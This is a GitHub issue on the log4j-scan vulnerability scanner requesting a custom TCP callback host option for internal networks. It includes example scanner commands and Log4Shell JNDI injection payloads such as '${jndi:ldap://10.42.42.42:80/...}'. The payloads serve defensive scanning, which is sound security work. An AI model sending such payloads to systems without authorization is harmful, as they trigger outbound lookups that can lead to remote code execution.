fullhunt/log4j-scan

[Feature Request]: Support custom TCP callback host

axel3rd opened this issue · 1 comments

Currently, using python log4j-scan.py -u http://locahost --custom-dns-callback-host 10.42.42.42 provides payload:

[•] URL: http://locahost | PAYLOAD: ${jndi:ldap://locahost.10.42.42.42/uhjut64}

Using a DNS callback server is sometime not trivial on a corporate internal network (could depend of network zones, ...).

Having the capabilities to define a direct TCP host (which host a simple TCP receiver, logging any IP trying to connect) could be very useful.

This parameter could be named: --custom-tcp-callback-host and provides the behavior:

python log4j-scan.py -u http://locahost --custom-tcp-callback-host 10.42.42.42:80
...
[•] URL: http://locahost | PAYLOAD: ${jndi:ldap://10.42.42.42:80/uhjut64}

If considered as relevant, I can provide a PR and the Python receiver.

Reopen for merge in original repo.

Testable from https://github.com/axel3rd/log4j-scan